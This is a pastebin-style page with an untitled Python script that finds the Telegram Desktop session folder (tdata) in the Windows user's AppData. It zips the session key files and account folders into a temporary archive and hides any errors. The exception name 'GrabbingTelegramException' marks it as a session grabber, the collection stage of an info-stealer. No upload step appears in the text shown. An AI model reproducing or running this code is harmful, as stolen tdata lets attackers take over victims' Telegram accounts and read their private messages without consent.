Untitled

 avatar
unknown
python
2 years ago
1.8 kB
11
Indexable
import getpass
from os import path
from os import walk
from zipfile import ZipFile
import glob
from os.path import basename
import os
import time

CLIENT_COMPUTER_NAME = getpass.getuser()
TELEGRAM_BASE_PATH = f'C:\\Users\\{CLIENT_COMPUTER_NAME}\\AppData\\Roaming\\Telegram Desktop\\tdata'
TELEGRAM_SECRETS = ['key_datas', 'countries', 'settingss', 'usertag']
TMP_TELEGRAM_ARCHIVE_NAME = f'{TELEGRAM_BASE_PATH}\\telegram-backup-{time.time()}.zip'


def remove_telegram_archive():
    try:
        os.remove(TMP_TELEGRAM_ARCHIVE_NAME)
    except Exception:
        pass


def get_telegram_session():
    try:
        if str(path.exists(TELEGRAM_BASE_PATH)):
            telegram_root = next(walk(TELEGRAM_BASE_PATH), (None, None, []))
            telegram_folders = telegram_root[1]
            telegram_files = telegram_root[2]

            tmp_telegram_zip = ZipFile(TMP_TELEGRAM_ARCHIVE_NAME, 'w')

            for telegram_folder in telegram_folders:
                if telegram_folder[:15].isupper():
                    all_folder_files = [f for f in glob.glob(f'{TELEGRAM_BASE_PATH}\\{telegram_folder}' + "**/*", recursive=True)]
                    for file_in_folder in all_folder_files:
                        tmp_telegram_zip.write(file_in_folder, f'{telegram_folder}\\{basename(file_in_folder)}')
            for telegram_file in telegram_files:
                if telegram_file[:15].isupper() or telegram_file in TELEGRAM_SECRETS:
                    tmp_telegram_zip.write(f'{TELEGRAM_BASE_PATH}\\{telegram_file}', telegram_file)

            tmp_telegram_zip.close()
            return TMP_TELEGRAM_ARCHIVE_NAME
        else:
            return None
    except Exception as GrabbingTelegramException:
        # print(f'{GrabbingTelegramException}')
        return None
Editor is loading...